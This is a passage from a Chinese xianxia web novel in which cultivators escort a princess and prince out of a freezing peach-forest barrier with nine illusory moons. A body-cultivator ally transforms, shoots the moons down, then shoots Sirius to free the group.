石映心看向他,平静道:“很明显,画中人想杀你们,她在排除异族。” 童嘉文其实没完全听懂她在说什么,但一下子像充足了气般浮夸大声道:“普天之下皆是我童家的王土,到底谁是异族!” 石映心一脸随便:“谁管你。” 童嘉文:。 “咳……咳咳……”一直没啃声的童柔意突然虚弱地咳了两声,众人看去,只见她抱着自己瑟瑟发抖,脸色发青,“咳咳,你们有没有觉得……有些太冷了?” 冷? 经她这么一提醒,好像确实有点? 周赫举手道:“刚刚我就想说了,不过见你们说故事说得投入就没提;我觉得好像越走进去越冷……你们没感觉?” 明易先点头:“确实是这样,不过……”说着瞧见了童柔意的可怜模样,默默掐了声。 “是有些冷,不过我还好。”曾换月从储物空间里拿出一件厚外衣,“童柔意,你再穿件我的。” 童柔意道了谢,哆嗦着赶紧把衣服披上。也许是仙人的衣服也有些与众不同,她很快感到一些温暖,面色稍稍放松了一些。童嘉文可能是刚刚激动了,这会看着还好,顾梦真未雨绸缪地借了件衣服给他。 她们于是继续往桃林深处走去,不知是不是错觉,原先淡黄的月光似乎也变冷了许多,冷冽的清辉落在桃树上,仿佛结了一层冰的浮光。其实没有冰,但桃树的每一朵花每一片叶是一动不动了,凝固在月光之中。 好冷。 太冷了。 现在已经是仙人也感到冷,凡人已经冷得要死的程度了—— 作者有话说:算是排雷:接下来的内容涉及部分神话传说,特此说明所有“改编”的依据和参考来自《女神的失落》(龚维英)。客观上人们对神话故事众说纷纭但确实已有相对固定的版本,好在神话人物没有版权,脱离校园后也不用考试,那我就择喜而从啦。 第89章 必须想想办法。 仙人们还能用灵气让身子热起来,凡人就没法了;顾梦真拿出两个火桶让他们一人一个抱着,公主皇子穿着厚衣服抱着一个火光木桶的模样远远望去就像两只宵烛,在幽深的桃林间缓慢前行。 她们一直没遇见妖怪,但这条路似乎格外漫长,渐渐地已经不能分清到底走了多久,满脑子都是“好冷好冷”,抬眼望去是无比相似的桃林,仿佛没有尽头,到底什么时候才到终点? 到后来火桶的作用也微乎其微,童 柔意感到自己的腿已经不受自己控制,每抬起一步像是在搬起一块冰柱,所有触觉都麻木而僵硬,眼前景色模糊起来,整个人只有迟钝的思绪是自己的,紧靠着这点微弱的意识还活着。 咚。砰。 好像是什么砸落的声音,她努力去够着自己的余光,好像是四皇子摔倒了。呵,真是没用,比她这个弱女子还不—— “童柔意!” 她们把相继晕厥的两个凡人扶起来坐着,由姬滢和周赫给二人体内传输灵气。公主皇子的脸色已经是青白一张,边上摆着的两个还在燃烧的火桶噼里啪啦着摸不着脑袋。 顾梦真摇摇头道:“这样下去不行,这阴冷竟连我的火桶都没法驱散。” 明易轻轻叹了口气,有些无奈:“给他们输送灵气也不是持久之计,凡人未经炼体,肉身脆弱,我们的灵力只能在他们体内轮转来回、短暂为他们驱散寒气,却不能停留,否则有经脉爆裂的危险。” 曾换月其实也很冷,不过因为她们炼过体,又有体内真气能抗,所以不至于晕倒,就像是南方的冬天裹了厚衣服,但还是冷。她微微发着抖道:“那、那这个意思不就是……如果要不让他们冷死,我们就得一直给他们输送灵气吗?这、这样走不了了啊!” 她说的没错,就是这么个矛盾的情况。 石映心瞧见公主皇子的脸已经恢复了一些血色,于是动了动脑筋提议道:“可以等他们恢复好就走,走得不行了再传灵气,然后再恢复了再走……” 几人:…… 她说得不是没有可操作性,但是怎么总觉得有点残忍呢? 曾换月想象了一下画面,总觉得像:“师姐,就是新鲜猪肉这么解冻冷冻解冻冷冻解冻……也会坏掉的啦。” 石映心:“不能吃了吗?” 曾换月:“反正肯定不好吃了。” 好了两位,现在不是在说冷冻猪肉的问题。 石映心于是也感到一些为难:“还有什么办法?” 顾梦真摸着下巴绞尽脑汁苦思冥想出一个办法:“对了!就像炼器的时候要将奇珍异宝的灵力融入器物中,也许我们可以找两件蕴含灵气的宝器,再用我的传灵术把宝器上的灵气传入他们体内轮转……这样只要把宝器带在身上就行了!” 这办法听着可以一试啊,但是有什么宝器可以用呢? 大伙把储物袋里的东西倒出来挑挑拣拣,虽说蕴含灵气的小玩意不少,但都不够用,怕是施法的额外消耗之后就所剩无几了。 “不如用我的龟壳吧。”周赫似乎有些犹豫,“这是我全身上下灵气最强的宝器了。” 姬滢有些意外:“师兄,可是这样要花许久时间才能恢复……在那之前你的卜术效用会大幅消减。” 周赫摊手:“有什么办法,总不能见死不救。” 说着变出龟壳递给顾梦真。后者掐诀施法,就见龟壳上开始冒出莹莹的灵光。顾梦真来到闭眼打坐的二位凡人面前,似乎拿不准先给谁。 “给四皇子试试。”周赫说。 于是顾梦真把龟壳塞入了童嘉文的外层衣服里,见他青白的脸色微微被灵光照亮了一角。大伙屏息等待他的反应,没过多久就见他睁开了眼睛,似有些迷茫,张了张嘴似乎想说什么,但没力气。 “有用有用!”顾梦真欣喜道,“还有没有这类的宝器?” 大伙面面相觑,掏掏兜囊空如洗。 姬滢抿了抿唇道:“如果我的罗盘没有意外损毁就好了。” “你也没料到的嘛。”曾换月拍拍她肩膀。 姬滢微微点头,这时又见童柔意的脸色更差了,麻溜地坐在她身后打算继续传灵气;刚开始动作就听石映心道:“我想到一件东西。” 大伙满怀希冀地看向她,就见她手心一摊开,上头躺着一个青色的蛋。 “这是旱魃的蛋!”顾梦真记得,末了又迟疑道,“确实是有充沛的灵力,可不是说这蛋正邪不分、来历不明……” 石映心瞥了眼童柔意:“她都要死了。” “但是……” 石映心:“就算正邪不分又如何,她只是个凡人。”意思是没啥威胁。 “可是……” 石映心无所谓地把蛋收起来:“好吧那算了。” “等等。”明易说,“暂且试试吧,先熬过这个月亮。” 大师兄都这么说了,师弟妹们当然没有意见。顾梦真同样给青蛋施了法,放在了童柔意的手心上。她青白的脸上被莹莹的青光取代,有一些温润的舒缓感。 这个办法是有效的,很快公主皇子都能正常说话、独立行走了。 趁他们真出了什么问题之前,快些赶路吧。只是仿佛走了许久,公主皇子的肚子又饿了起来,她们依旧未找到出口。甚至还走累了,八个人围着两个火桶坐下来,个个都是垂头丧气的模样。 顾梦真瞥了眼童柔意压着肚子但压不住咕噜噜声的虚弱模样,又看了看早已失去皇室气度、瞧着有些面黄肌瘦的四皇子,叹了口气道:“这样下去还没冷死又要饿死了。” 走到这时候,其实几位仙人也觉得很冷了,曾换月紧挨着师姐,抱着双膝瑟瑟发抖:“饥寒交迫……搞什么啊,演卖火柴的小女孩吗?”说着是双眼发直地看着面前两个火桶燃烧的火焰。 石映心默了默道:“前边三个月亮我们没走过这么远的路。” 姬滢抬起头:“也许遇上鬼打墙了,不过一路走来我没发现阵眼。” “阵眼应是月亮。”明易说。 话题又到这,于是大伙又没办法。 石映心忽然站起来,变出帝血剑往空中一抛想御剑,但刚跳上去还没飞呢就掉落在地。她捡起帝血剑看了看,面上只是微微皱着眉,熟悉她的人就知道她嘴心里很不爽快。 明易默默望着她,见帝血剑微微一侧,剑面反射的光在她的脸上照出一道月色,月色中的眼亮着冷冷的眸光。 映心…… 映心…… “飞不上天,就把地劈开看看。”石映心走过来说,“就像我们发现青蛋的时候那样。” 大伙的脸色不出意外地纠结起来,瞧着脑子里都有很多复杂的想法,其实这些思绪连个影儿都没有,大多都只是“啊这样好吗”“要不试试吧”“但是可是”如此虚无缥缈的。 石映心就很简单,但她不是瞎想,只是在觉得自己可以做到的范围内出主意,就是这主意常常不计后果;虽然有些不顾一切的粗暴,让保守多虑的人很纠结犹豫,但是……到这时候也只能由她乱来。 “好啊好啊。”小师妹率先赞同。 “哎呀没差了,随便吧。”二师兄挠头放弃思考。 “剑在你们手上。”姬滢盯着火桶。 “真的假的?”大家同意之前,周赫还以为她在开玩笑。 两个凡人自知不需要他们的意见。 于是石映心看向大师兄,见他似乎盯了自己许久才回过神,这会才站起来,手上已经拿着寒竹剑了,微微颔首说:“好。” 童柔意举头望月,她现在依旧晕晕乎乎的,看着月亮也有些迷蒙,分不清那是月光的虚影还是月亮在……颤抖? 耳边嗡嗡的,声音进入脑子她来不及抓住就给溜走了,只模糊意识到仙人们在商量着要从哪里把地劈开。 劈地…… 飞天…… 这些神奇的事情在她们口中仿若用膳歇息一般简单寻常。而她算什么呢?他们又算什么呢?她从未离开皇宫这么远,外面的世间确实很大,不过皇宫也足够大了,得以让她这个公主再折腾做作也掀不起越宫墙的大浪。 他们把浪挡回来。 现在挡浪的人一个个死去,父皇,大哥二哥三哥……这些她永远无法撼动的人竟这么轻而易举地就死去了,简直不可思议,不可思议到她连害怕都是那么不真实。 还差一个,还剩一个。 但四皇子要死或死了又能如何呢?她不是仙人,不会劈地,不会飞天,只配做置换诅咒的公主。 “是吗?” 是吗? “这边就从这棵树开始,”明易站在一个桃树下,指了指不远处的一棵,“我再从那棵树劈来。距离和上回差不多。” 石映心点点头,表示了解了。 小师妹:“师姐加油啊!” 二师兄:“大师兄也要加油啊!” 加完油二人就溜了。 石映心和明易到自己的树下站定,遥望着对方点了点头,就算只是第二次也觉得很熟练了。 石映心挥剑而起,将发着灵光的帝血剑刺入桃花树下,只听几声接连的咔嚓,地下的纵横树根瞬间被 剑气震断,前一瞬还是生机勃勃的桃树眨眼间变得萎靡不振;剑修仰头看着破败的桃树想:也许把所有桃树都砍光也是一个办法? 不过太麻烦了。 剑尖只轻挪,桃树脚边便裂开了一道黑缝,无尽的深渊竟轻易在它眼前打开。轰的一声隐约是地下传来的战栗,但此时此刻已经没有什么能阻止剑修了,就让她劈开这讨人厌的—— “剑下留情!” 第90章 讨厌。 箭在弦上不得不发,但真的不得发只好硬生生收回来的感觉好讨厌。石剑修这么觉得。 刚刚的情况是这样的,就在她和大师兄要劈地的时候,话本中“劫刑场”的剧情居然上演,在桃林塞中挣扎了这么久,突然听见其他人的声音是很惊讶的,两位剑修都不自觉停了动作回首望去—— 就见那处飞快地跑过来三个身影。说“飞快”是很确切的并不是形容,因为那三人真的跑得好快,依旧是到了残影的地步,就是石仙人她们也没这么夸张的脚力。 八人又惊又呆地望着她们跑近了。才看清其实是一个人拎着另两个人在跑,被拎着的那两个竟然都见过,一个是姬漓,一个是和他们有过一面之缘的……徐……欸,徐什么来着? 徐舟,人家叫徐舟。 至于拎着这两人的人则是陌生面孔的,就见她高挑的身量,修长的体型,粗黑一条辫子束在脑后迎风甩动,微深肤色正好衬托一双英姿飒爽的眉目。她身着一身烟紫色的劲服,其实瞧见衣服大家就认出来了,原来是琼华宫的道友。 这位道友跑姿如猎豹,叼着两个孩子就这么跑过来,稳妥地停在了目瞪口呆的众人面前,然后头一扭把两个孩子甩了下来……开玩笑的,其实是好好放下了,但姬漓和徐舟都眼冒金星地站不稳,一时瘫软到地上,躺得像两块烂泥。 “呼——各位好啊。”这位道友拍拍手松了口气,先是礼貌地打了招呼,又贴心地问两摊烂泥,“姬漓,徐舟,你们没事吧?” 语气一点不带喘的。 二人为了面子,强撑着举起手,气若游丝:“没事……” 黎为夏于是放心了:“没事就好!” 姬滢叹了口气,去把她姐姐扶起来:“姐姐,你和徐师兄怎么来了,还有这位琼华宫的道友是……” 姬漓启动嘴巴:“……”有口型没声音。 姬滢:…… “我是黎为夏,”黎为夏主动解释道,“姬漓和徐舟找到我,说请我去天机阁帮忙;又算出你们在桃林塞遇了难,特来营救。” 说着扫了眼其余几人:“我已经快马加鞭地赶来,还来得及吗?你们都没事吧?” 她们暂时是没事啦,就是你叼着的这两个有点…… “咳。”明易客气道,“多谢三位赶来帮忙……”接着双方简单互通了姓名,交代了情况。原来是来之前她们姐妹俩卜算过,此行一人要去接四皇子,一人却要去琼华宫找机缘,什么机缘不知道,反正得去碰碰。 然后姬漓就在琼华洲遇见了师兄徐舟,徐舟得知她们这路要过桃林塞的时候便说这地方很难办,更别提还带着两个凡人,算了一卦说得要琼华宫的人救场,正巧他昨日相识了一位琼华宫的道友,虽然才见过一面就要人家帮忙不太好意思但是没关系他俩脸皮厚啊。 这厚脸皮的二人还催黎为夏快点赶路吧不然人要完蛋啦;于是黎为夏嫌弃他们跑得慢,就拎着他们飞跑来此…… 事情的经过就是这样。 曾换月听此,不得不问一句:“那前两个月亮的兔子怪,蟾蜍怪……” 姬漓的脸色恢复了一些:“都跑不过黎道友。” 顾梦真:“还有那个拿斧头的……” 徐舟喘了口气:“黎道友的飞翅腿直接跨过了悬崖。” 姬漓惨笑一声:“这一路就像做梦一样……” 几人:O0O 真是各有各的折磨啊。 “厉害啊姐们!”曾换月拍拍黎为夏的肩膀,惊叹道,“这桃林塞完全拿你没办法!” 黎为夏谦虚大笑:“哈哈,这对我们炼体的体修来说,只是小试牛刀罢了!” 是哦,曾换月想,琼华宫都是体修来着,先前的摘星大会她们好像来的人不多,而且她也没留意过她们的比试……听说她们宫的人不是很喜欢御物飞行,多是脚踏实地跑来跑去,每日早上,一睁眼就是绕着门派跑几圈晨练…… 踏实!确实踏实! 好了,话说回来该说正事了,明易道:“前三个月亮我们也是跑过的,不过这第四个月亮有些不同,不仅阴寒至极,而且走了许久也不见尽头。不知黎道友可有什么办法?” 黎为夏闻言,脸上一懵:“啊?你问我吗?” 明易:? 她挠挠头道:“我以为是你们出办法我出力来着。” 大伙:…… 就这么糊里糊涂地来啦? 于是又和她说:“我们猜测桃林塞的结界阵眼正是天上的九个月亮,不过在此处不能御物飞行,无法去上面一探究竟……” 曾换月叹了口气道:“所以飞不上天,我师姐师兄就打算把地劈开看看,正要动手呢你们就来了。唉,如果能像羿射九日那样把九个月亮射下来就好了……” “可以啊。” 大伙:OO? 见他们看来,黎为夏点点头,扬起一个露齿的爽朗笑容:“如果世上的月亮能射下来,这样的神射手必定出自我们琼华宫。” 她说得这般斩钉截铁,听得几人都是一愣一愣的,一时不知该附和还是质疑,或是要斟酌语句找一下两者间的平衡呢? 好在石映心没有这么纠结的烦恼,她只是好奇地问:“你可以射月亮?” 黎为夏微微摇头:“没射过。不过要是我们琼华宫的弟子射不了,世上没有人能再做到。” “为什么?” 大师兄在边上为她解释:“八大洲属琼华宫射艺最高,可百步穿杨,矢不虚发。” “哈哈哈!”黎为夏哈哈大笑起来,“这只是对凡人中善射者的赞扬,于我们都是小意思。” 那确实确实。 石映心期待道:“既然这样,你就将第四个月亮射下来吧。” “好!” 黎为夏压根没有犹豫,就像她先前说的,她们负责想办法,她负责出力,哪怕是听起来离谱的要求也不多想。 大家的目光集中在她身上,只见她一伸手就变出了一把弓一支箭,外观有些陈旧,模样也很平凡,见大家好奇,她主动解释道:“别看我的战弓破破烂烂的,这可是用神桑木、野山羊王角和猛牛筋制成的,威力不小!” 曾换月心想,威力不小是一回事,可后羿射日的弓箭是那什么帝俊送的神弓,他又有神力,这样才射下了太阳;你这对比一下也只是普通的弓箭嘛,真的可以吗:“听着挺厉害的!你快试试。” 黎为夏说好啊,两三步走出人群,微微仰首看向天上的第四个月亮,动作利索地搭箭、扣弦,拉弓,很快就听“嗖”的一声,箭离弦飞出,眨眼间便隐入了夜色消失不见,然后…… 就没有然后了。 她们和月亮一起静悄悄地等着,翘首以盼着,看着树梢的月色越发冷下来,连桃红都变得诡异。 曾换月觉得这充满期待的沉默叫人不忍,深呼一口气,率先打破沉寂:“哎呀哈哈,看来还是我们异想天开了,我们怎么可能把月亮射下来嘛哈哈!不过黎道友你方才射箭的姿势挺帅哦!” 顾梦真就应和着是啊是啊,哈哈。 石映心似乎有些失望,不过也没说什么,只是回头看了看方才因为被她扎了一剑而死去的桃树,心中再次蠢蠢欲动。 童嘉文方才一直屏气凝神着,这下反而松了口气道:“如此才算正常。就算是仙人……怎么可能有射月神功呢?呵呵……说是吧,柔意?” 他看向公主,却见她面无表情地望着前方的某处,双眼失神发直,一副心不在焉的脸色,模样竟然有些陌生。又叫了她几声,还是没理他。四皇子自然不可能热脸贴冷屁股,干脆转过脑袋眼不见为净了。反正他这个妹妹总是这样不讨喜又任性。 真搞不懂她在想什么,或者说他们根本没闲心去搞懂。 徐舟这时候已经恢复过来了,方才还和明易三人叙很新的旧呢;这会见黎为夏射箭失败,还宽慰她们说:“几位道友放心,我与姬漓皆算出黎道友是能雪中送炭的贵人,她一定有办法。” 曾换月有些狐疑:“她说我们想办法,她出力。” 徐舟笑眯眯起来:“这我便不清楚了,总之她是破局的关键。” 所以她们现在面临的难道是有钥匙但找不到锁孔的困境吗? 这时候石映心又想起刚刚飘过的念头:“也许她是来帮我们砍树的,既然是桃林塞,没了这片桃林,阵法就不一定还会存在。可这里很多树我们砍不完,而她是体修。” 姬漓被她的提议惊道:“哇,你这办法也太简单粗暴了。” 徐舟思酌一瞬,很快露出于心不忍的表情:“其实我们和黎道友也没认识多久,这样奴役她是不是不太好?我建议你们先预备些珍宝灵石,到时算作报答。” 顾梦真“欸”了一声:“报答这事轮不到我们吧,护送四皇子是你们先参与的任务,黎道友也是你们找来的,怎么就是我们出灵石了?而且砍这么多树,得付多少灵石啊!” 曾换月:“就是就是……” 周赫:“话不能这么说,这是你们归壹派万事树的任务吧?就是没有我们掺和也得做啊……” …… 明易:这些人到底在说什么。 石映心还心心念着:“砍树之前先劈地,大师兄……” 明易:唉。 “各位道友不要着急!”射出箭后就一直望着月亮感觉真的在找箭的黎为夏忽然发话了,“我可以再一试!” 周赫叹了口气,有气无力道:“从方才那一试看来似乎没有必要再试了。” “不。”黎为夏咧嘴一笑,“这次我要变身。”【】 90-100 第91章 说是月亮,又说要变身,曾换月就不得不想到了美少女战士。从黎道友出场展示的飞翅腿来看,她绝对已经是个战士了;但不知为何从她嘴里说出“变身”二字,会让她更多联想到…… 她不会要为了射月变成狼人模样吧? 曾换月抱着自己打了个寒战,感觉又冷飕飕一些。 算了随便吧,不管是谁,只要能让她们离开这个鬼地方就是好人! 大家好奇又不太敢期待地看着说要变身的黎为夏。明易先前见过琼华宫弟子“变身”的模样,这会还在思考可行性,她们变身后确实会有超出寻常的体质和力量,不过…… 思酌间,那边的黎为夏已经有了动静。 只见那把弓箭被她的手高高举起,在夜色中缓缓溢出越来越多的灵光,从弓箭本身顺着她的手臂留下来,很快便覆盖了黎为夏全身;众人因此瞧不起清她的模样,就眼睁睁地看着那光影越来越大、越来越壮,长到了似乎比斧头壮汉还要高的模样才停止。 曾换月:到这里为止都像美少女战士。 接着灵光散去,显出一个仿佛是用肌肉堆积起来的奇女子,约有十二尺身量,气势磅礴得骇人,粗犷野蛮的身形蕴含拔山扛鼎之力,骨如铜铁,皮若刚石。容貌似乎变了也没变,更粗豪了一些,不过奇怪的是头上还长了两只角…… 曾换月:真变成狼人模样了啊! 没见过世面的几人瞠目结舌,忽然觉得她都能变身了还有啥不能的?瞧她这五大三粗(这里指五个人那么大三条人那么粗)的厉害模样,指不定真能成哦! 顾梦真扬起脑袋望着这幢人,大声惊喊道:“哇黎道友,你们琼华宫真是深藏不露啊!” “哈哈哈!不怕吓到你们。” 黎为夏轰轰笑了两声,众人如雷贯耳。 石映心也有些看呆了,好奇地问大师兄:“大师兄,难道体修都能这样变身吗?” 明易微微摇头:“是她们琼华宫的秘功。从前除了琼华宫外还有些小门小派也炼体,但对比琼华宫之后实在颓丧,渐渐地都散了;如今修道者炼体,多是自己闹着玩,成立门派就有些自取其辱。” 秘功啊…… 既然是功法的话…… “映心……” 听她几乎是脱口而出:“我知道的大师兄。” 明易:好吧。 黎为夏变身后整个人都自信了许多,哐哐地拍了两下自己的钢铁胸膛,点点头毅然道:“放心交给我吧!” “加油啊黎道友!” 黎为夏举起同样变大的弓箭,双腿一迈,大地微震,她搭弓射箭,这一回动作有谨慎的斟酌,脸色沉静着,那双铮亮的眼睛在瞄准猎物时如雌鹰般深邃凌厉;她全身的肌肉都紧绷准备着,线条吓人却协调,整体爆发出夸张的野性。 众人皆是屏息凝神,看见这样的黎道友,心中无法再升起质疑。 嗖! 箭离弦而飞,破空擦出耀眼的灵火,直冲圆盘而去,这才是真正的“开弓如满月,箭发似流星”。众人一时没有更多的情绪,只目不转睛地跟着箭矢的光点,失神地看见它划过桃树的殷红,夜色的空白,破开月的光环进入其中—— 这是……射中了? 是吗? 那……然后呢? 然后月亮就裂开了,就像玉盘被箭射中,从中间那一点开始破裂,两道歪折的痕迹分头从此处爬出,一瞬间便将玉盘分成了两半,瞧着轻易而干脆;可这不是玉盘,是月亮。 裂缝忽然燃烧了起来,赤红的灵火迅速将月亮包裹,乍一看竟像是太阳;不过很快就被吞噬干净,等最后一点火焰消失时,天上已经少了一个月亮,附近被淹没的星光探出悄咪咪的脑袋。 地上的人们惊奇地看着这一切。 坐在地上的童柔意站了起来,仰头望这此生难见的情景,眼中盛满了破碎的月光;童嘉文在惊叹之余多是惊惧,这已经不是天有异象的程度了…… “哇!”曾换月兴奋地跳了起来,拉着师姐摇来摆去,“月亮真的没了!真的被黎道友射掉了!” 石映心有些奇异的感觉,她望着站在那好大一个的黎道友,心中翻滚着一些什么。 姬漓忽然道:“你们快看!桃树都凋谢了。” 她们转头望了望,周遭的桃树失去了月光的滋润,正在以可怕的速度枯萎衰弱,这一大片桃红仿佛被抽走的地毯,一晃眼只剩下干枯瘦巴巴的树干了,满地萧条。 “悬崖就在那边!”周赫指着前方喊。 大伙都看见了,原来苦苦找寻的出口就在不远处,她们方才是真的陷入了第四个月亮的陷阱中;而悬崖那边依旧有茂密的桃树林的影子,每个月亮都有自己照临负责的区域,射掉一个月亮,也只是能离开这片桃林罢了。 不过没事,她们现在已经有了作弊的钥匙。 姬漓拍了拍已经恢复常人模样的黎为夏,夸赞道:“太厉害了黎道友!我们果然没找错人!” 黎为夏哈哈道:“既然答应了你们要帮忙,我定会竭尽全力。” 徐舟摸摸下巴,语气有些艳羡道:“要是我把月亮射下来,定要逢人就吹嘘一把。” “我也想吹嘘。”黎为夏一摊手道,“可惜这不是真的月亮,我也不算是琼华宫中实力最强的弟子,若我行,其他同门也行;我想还是当做一次新奇的射猎经历好了。” 徐舟:“还是谦虚了黎道友,哈哈。” “多谢黎道友出手相助。”明易走上来道,“不知黎道友可还有余力射下最后三个月亮?” “当然有了,”黎为夏笑道,“我可 是琼华宫的弟子!” 于是在黎为夏的帮助下,几人顺利地解决了接下来三个月亮。可边上的桃林都死光光了,仿佛已经走到了桃林塞的尽头,依旧没有找到出口。 “奇了怪了,这桃林塞结界这么困难的吗?”徐舟挠挠头,有些侥幸道,“好在上次只是在外头看了一眼,没进来瞎逛……” 姬滢闻言看向他:“师兄,你游历的时候来过这?” “只是路过。”徐舟说,“看见里头有九个月亮就走了。” 顾梦真奇道:“你还能看得见啊?我们来时在结界外什么也瞧不见,就是寻常的天色。” 徐舟嘿嘿解释道:“像这种凡间的结界啊,几日之中总有阵法波动的时候,所以会有百姓误入的情况;我只是算了波动何时来,守株待兔地在外头等着,到时望一眼便是了,发现不对劲的就不进去。” 姬漓笑了一声:“你倒是谨慎。” 徐舟一抬下巴:“那是,我在人间游历这几年也不是白混的。” 姬滢便问:“师兄,那你打算何时回天机阁?” 徐舟支吾了一下:“这不就要和你们回去了吗?问题是这会出不去啊。” “也许我们要把刚开始的三个月亮也射下来。”明易说着,又看向黎为夏,“黎道友,不知你可还有余力……” “有有有!”黎为夏深呼吸,“我可是琼华宫的弟子!” 曾换月觉得她有种为了琼华宫的面子豁出去了的气势。 以黎为夏的飞翅腿,跑去射前三个月亮也很快,就没必要跟着她去拖后腿了。大伙在原地坐着看星星数月亮,眼见一个又一个的月亮在空中燃烧殆尽。 “好多星星。”姬漓坐在地上双手往后撑着,姿态有些放松,“姬滢,这些星星也是假的吗?” 姬滢:“不知道。” “如果九个月亮全部没了我们还出不去怎么办?” 姬滢:“不会的。” “你有办法?” 姬滢:“还没有。” 姬漓坐直身体,奇怪地打量她:“你怎么看着有些心事重重的?姐姐我才离开你几天,发生什么事了?难道是周赫欺负你?” 周赫嚷道:“别冤枉我啊。” “只是我有些累了。”姬滢摇摇头,忽然想到什么,“对了师兄,你借给四皇子的龟壳能拿回来了。” 徐舟闻言看着他:“周赫,你就这样把龟壳给四皇子了?” “不是,方才情况特殊……” 周赫有些懒得解释,起身去找童嘉文的时候顺便提醒了石映心,后者也在数星星,闻言才回过神来,走去找童柔意。 “这颗青蛋可以给我吗?”童柔意手上拿着青蛋,双目盯着她,语气倒是很平静,不像是对方不答应就要发作的感觉,“事成之后,你想要什么只要我有……都可以给你。” 石映心是个物欲不强的人,她想要的东西都很随缘,本是想拒绝的,但又好奇地问了一句:“你有什么?” 童柔意说:“只要我能得到的,都给你。” 她说得这么笼统,石映心完全没概念,于是拒绝:“你这么说就是没有珍贵的东西同我交换。” 童柔意朝她笑了下:“每个人对珍贵的定义不同。” “好麻烦,算了。” 她从她手里捞了青蛋就走,走了两步脚下一顿,回头看向她,见童柔意还是面带微笑地看着自己,石映心感到一些古怪:“你不生气?” 童柔意耸了耸肩:“你们都是我的救命恩人,我怎会恩将仇报?” 哪有这么严重……算了。 石映心一边打量着青蛋一边往回走,发现里头的能量少了好多,发出的光辉也很暗淡,像是即将告罄。她有些失落,还以为是件神奇的宝贝呢,谁知道给人家公主暖和一下就没用了。 这下也没了兴致,把东西往大师兄手上一塞:“给你吧大师兄。” 明易接来一看,眉心微蹙道:“怎会变成这样?” 第92章 石映心说:“因为要让童柔意暖和。” “不是……”明易飞快地瞥了眼不远处的童柔意,把师妹拉过来低声道,“这颗蛋原先很不寻常,能量充沛,既有灵气也有邪气,可如今灵气将要荡然无存,邪气更是烟消云散。” 石映心问:“邪气也能驱寒?” “……这不重要。”明易道,“问题是它们去哪了。” 石映心顿了顿:“在童柔意体内?” 明易微抿双唇颔首。 石映心回想了刚刚的对话,判断道:“她似乎是有些不对劲。” 明易以为她看出来了:“哪里不对劲?” “脾气好了一些。”又说,“方才她说想要这个青蛋,但是我不给她,她也没有生气。” 这么看好似是有些不对劲,但也不太明确,明易又问:“除此之外?” 石映心沉吟片刻,转身要走:“我去照照……” “……映心。”明易急忙把她拉回来,面色严肃道,“不要冲动。若是她真的被邪气缠身,你照了她怕是会有影响。” “那怎么办?” “按兵不动,先观察一番……” “师姐,大师兄,你们在说什么悄悄话呢?”曾换月突兀冒出头来,左看看右看看,又低下头去,“还牵着手手!” 二人顺着她的话低头一看,其实只是明易拉着石映心的手腕罢了;后者倒没什么反应,他自己却飞快地把手收了回来,刻意正色道:“方才拉住映心有事。” 曾换月:“哦。大师兄你这么紧张做什么,师兄妹拉拉小手也没什么。” “就是师兄妹也不行,”明易顿了顿,“男女授受不亲……” 石映心:“不亲是不能亲亲吗?” 明易:。 “不是啦师姐,这个不亲是……” “好了。”大师兄打断两个师妹的对话,“现在不是说这些的时候……黎道友回来了。” 二人很快被转移注意力,转头望去果然瞧见黎为夏飞跑而来的身影。她很快在几人面前站定,这会是有些疲累了,毕竟又要跑来跑去又要变身射月亮还要赶时间,神人也不能这么折腾。 看见她在那喘气,姬漓贴心地过去拍拍她的背:“没事吧黎道友?” 黎为夏大呼吸大喘气几下就好了,她的恢复速度也很惊人,撑着膝盖喘了几口气,挺直腰板伸手擦去额间的汗后,又露出一个痛快的笑容:“许久没有这般锻炼过了,舒服!” 众人:OO 琼华宫还是不可小觑的…… 黎为夏说月亮都已经射完了,可以出去了没? 大伙四处看看后还是没发现,但放眼看去,已经是一望无垠的荒林了,桃林塞没了桃林,按理来说结界已经失效,可为何…… “也许只差最后一步。”姬漓说。 周赫:“差在哪?” 姬滢抬头望天,所有的月亮都消失之后,天上是数不清的星群,每一颗都在熠熠发光:“星星。” 徐舟听懂了:“姬滢师妹是说,破阵的最后一关要射星?” 按照前边射月亮的解法,这也是很有可能的。曾换月问:“可是天上有这么多的星星,我们要射的是哪一颗呢?” 黎为夏及时发言:“我没有那么多箭矢哈!” 姬滢和她姐姐对视一眼,默契地试探道:“天狼星。” 石映心看着数不清的星星,每一颗星星对她来说并无不同,只有或大或小或亮或稍暗淡的区别,她不知道这些星星还有自己的名字:“为什么要射天狼星?” “青云衣兮白霓裳,举长矢兮射天狼。”徐舟悠悠朗诵道,“传说这是月神的壮举。月神英姿勃发射了天狼之后,驾风驭电而去,这便是神的潇洒肆意了,叫后人心驰神往!” “等等。”还真听过这首诗的曾换月一愣,“这个……这个是赞颂你们月神的诗吗?” 天机阁四人齐刷刷地盯住她:“不然呢?” 曾换月:…… “哈哈哈肯定是绝对是包是的!”算了反正这里也不用考试随便吧爱咋咋地! 姬漓警惕道:“难道是谁强占了我们月神的诗?” 曾换月:“啊,这……” 徐舟已经开始供证了:“灵之来兮蔽日,太阳已经消失;又说‘射天狼’,星星只在晚上出现,那当然是月神所为。” 姬滢也说:“援北斗兮酌桂浆,月中有桂,是月神才能喝的玉液金波。” 曾换月越听越觉得:“哇你们说得好有道理啊……所以照你们的说法,月神为什么要射天狼?” “为了 报仇。” 石映心:“射星星为何算是报仇?” 姬漓道:“月神化神之前早已杀了那人,吃了他的肉使他不能在躯体某一部分上复生,亦能得其神力;成神后又知天狼星是仇人的化身,故射之。” “哇,吃人肉的神……哈哈。”曾换月挠挠脸,越发觉得脑子糊涂起来,摇摇头道,“算了不管了,那那……就让黎道友射天狼试试吧哈哈……” 黎道友眨眨眼睛:“但我不认识哪颗是天狼星。” “无碍。”姬滢走来,一手轻抚上黎为夏的弓箭,让其发出莹莹的光辉,“月神会指引你方向。” 黎为夏看了看弓箭,触手有些微凉,仿佛真有一些神奇的力量;她利落地带着弓箭变身,这回没有瞄准,只是拉满弓将箭矢射向星空—— 宛如流火奔向星群,相撞时迸发出耀眼的光辉,夜幕在此被掀开,大片大片地陷落而下,像是凋零的花瓣。刺眼的光让她们不受控地闭上眼睛…… 扑棱。 众人被鸟扇翅的声音唤醒,再一睁眼,只见天色晴朗,日挂高空,万里无云;顾左右,是寻常的一片树林,瞧不见一点桃红;不远处的林间显出一座屋宇的影子,看模样是传送驿站。 出来了…… 出来了! 大伙都有些不切实际的舒爽,在黑夜里月色下折腾许久,这会看见太阳是多么亲切呀!甚至有些感人了。 比如童嘉文,这会就默默地擦去了凝视太阳许久而落下的眼泪。 